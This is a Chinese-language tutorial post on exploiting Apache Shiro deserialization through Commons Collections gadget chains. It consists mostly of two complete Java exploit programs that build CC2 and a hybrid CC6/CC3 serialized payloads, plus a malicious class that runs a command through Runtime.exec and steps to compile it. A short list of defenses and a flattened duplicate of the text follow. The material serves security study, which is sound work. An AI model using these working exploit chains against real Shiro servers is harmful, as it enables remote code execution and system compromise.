shiro反序列化-打CC依赖
字数 1015 2025-08-11 08:36:14

Shiro反序列化漏洞利用:CC依赖链分析

1. 漏洞背景

Shiro框架存在反序列化漏洞,攻击者可以利用Commons Collections(CC)依赖链实现远程代码执行。根据Shiro使用的CC版本不同,可利用的链也有所区别:

  • Commons Collections4.0:可直接使用CC2链
  • Commons Collections3.0:需要组合CC6和CC3链的部分构造新的利用链

2. Commons Collections4.0利用(CC2链)

2.1 利用原理

CC2链利用PriorityQueue作为反序列化入口点,通过TransformingComparator触发InvokerTransformer,最终调用TemplatesImplnewTransformer方法加载恶意字节码。

2.2 关键调用链

PriorityQueue.readObject()
  -> heapify()
    -> siftDown()
      -> siftDownUsingComparator()
        -> TransformingComparator.compare()
          -> InvokerTransformer.transform()
            -> TemplatesImpl.newTransformer() // 触发恶意代码执行

2.3 完整EXP代码

package com.serialize;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CC2test {
    public static void main(String[] args) throws IllegalAccessException, NoSuchFieldException, IOException, ClassNotFoundException {
        // 准备TemplatesImpl对象
        TemplatesImpl templates = new TemplatesImpl();
        Class c = templates.getClass();
        
        // 设置_name字段
        Field name = c.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates, "aaaa");
        
        // 加载恶意字节码
        Field bytecodes = c.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("D://tmp/classes/Testdemo.class"));
        byte[][] codes = {code};
        bytecodes.set(templates, codes);

        // 构造InvokerTransformer
        InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);
        
        // 构造PriorityQueue
        TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
        PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
        priorityQueue.add(templates);
        priorityQueue.add(templates);
        
        // 反射修改transformer
        Class cl = transformingComparator.getClass();
        Field transformerField = cl.getDeclaredField("transformer");
        transformerField.setAccessible(true);
        transformerField.set(transformingComparator, invokerTransformer);
        
        // 序列化
        serialize(priorityQueue);
    }
    
    public static void serialize(Object object) throws IOException {
        FileOutputStream fileOutputStream = new FileOutputStream("cc2.bin");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
        objectOutputStream.writeObject(object);
        System.out.println("1.序列化成功");
    }
}

2.4 依赖配置

需要在pom.xml中添加CC4依赖:

<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-collections4</artifactId>
    <version>4.0</version>
</dependency>

3. Commons Collections3.0利用

3.1 问题分析

直接使用CC6链会失败,因为Shiro自定义的ClassResolvingObjectInputStream无法加载数组类,而CC6依赖Transformer数组。

3.2 解决方案

组合利用:

  • 前半段:使用CC6的LazyMapTiedMapEntry部分
  • 中间段:使用CC2的InvokerTransformer部分
  • 后半段:使用CC3的TemplatesImpl部分

3.3 完整EXP代码

package shiro.demo;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class shirotest {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
        // 准备TemplatesImpl对象
        TemplatesImpl templates = new TemplatesImpl();
        Class c = templates.getClass();
        
        // 设置_name字段
        Field name = c.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates, "aaaa");
        
        // 加载恶意字节码
        Field bytecodes = c.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("D://tmp/classes/Testdemo.class"));
        byte[][] codes = {code};
        bytecodes.set(templates, codes);

        // 构造InvokerTransformer
        InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);
        
        // 构造LazyMap
        HashMap<Object, Object> map = new HashMap<Object, Object>();
        Map<Object, Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1));
        
        // 构造TiedMapEntry并放入HashMap
        HashMap<Object, Object> map2 = new HashMap<>();
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, templates);
        map2.put(tiedMapEntry, "bbb");
        
        // 清理map防止干扰
        map.remove(templates);
        
        // 反射修改LazyMap的factory
        Class cl = LazyMap.class;
        Field fieldfactory = cl.getDeclaredField("factory");
        fieldfactory.setAccessible(true);
        fieldfactory.set(lazymap, invokerTransformer);
        
        // 序列化
        serialize(map2);
    }
    
    public static void serialize(Object object) throws IOException {
        FileOutputStream fileOutputStream = new FileOutputStream("wer.bin");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
        objectOutputStream.writeObject(object);
        System.out.println("1.序列化成功");
    }
}

4. 恶意字节码准备

两种利用方式都需要准备恶意字节码,可通过以下步骤生成:

  1. 编写恶意类代码(如弹出计算器):
public class Testdemo {
    static {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
  1. 编译为.class文件:
javac Testdemo.java
  1. 将.class文件放在指定路径供EXP加载

5. 防御建议

  1. 升级Shiro到最新版本
  2. 使用安全的AES加密密钥
  3. 禁用Shiro的rememberMe功能(如非必要)
  4. 升级Commons Collections到安全版本
  5. 实施输入验证和过滤

6. 总结

  • CC4版本:直接使用CC2链,利用PriorityQueue触发
  • CC3版本:组合CC6和CC3链,绕过数组类加载限制
  • 核心思路:最终都是通过TemplatesImpl加载恶意字节码
  • 关键点:反射修改关键字段,构造完整的调用链

通过深入理解这些利用链的构造原理,可以更好地防御此类反序列化漏洞。

Shiro反序列化漏洞利用:CC依赖链分析 1. 漏洞背景 Shiro框架存在反序列化漏洞,攻击者可以利用Commons Collections(CC)依赖链实现远程代码执行。根据Shiro使用的CC版本不同,可利用的链也有所区别: Commons Collections4.0:可直接使用CC2链 Commons Collections3.0:需要组合CC6和CC3链的部分构造新的利用链 2. Commons Collections4.0利用(CC2链) 2.1 利用原理 CC2链利用 PriorityQueue 作为反序列化入口点,通过 TransformingComparator 触发 InvokerTransformer ,最终调用 TemplatesImpl 的 newTransformer 方法加载恶意字节码。 2.2 关键调用链 2.3 完整EXP代码 2.4 依赖配置 需要在pom.xml中添加CC4依赖: 3. Commons Collections3.0利用 3.1 问题分析 直接使用CC6链会失败,因为Shiro自定义的 ClassResolvingObjectInputStream 无法加载数组类,而CC6依赖Transformer数组。 3.2 解决方案 组合利用: 前半段:使用CC6的 LazyMap 和 TiedMapEntry 部分 中间段:使用CC2的 InvokerTransformer 部分 后半段:使用CC3的 TemplatesImpl 部分 3.3 完整EXP代码 4. 恶意字节码准备 两种利用方式都需要准备恶意字节码,可通过以下步骤生成: 编写恶意类代码(如弹出计算器): 编译为.class文件: 将.class文件放在指定路径供EXP加载 5. 防御建议 升级Shiro到最新版本 使用安全的AES加密密钥 禁用Shiro的rememberMe功能(如非必要) 升级Commons Collections到安全版本 实施输入验证和过滤 6. 总结 CC4版本 :直接使用CC2链,利用 PriorityQueue 触发 CC3版本 :组合CC6和CC3链,绕过数组类加载限制 核心思路 :最终都是通过 TemplatesImpl 加载恶意字节码 关键点 :反射修改关键字段,构造完整的调用链 通过深入理解这些利用链的构造原理,可以更好地防御此类反序列化漏洞。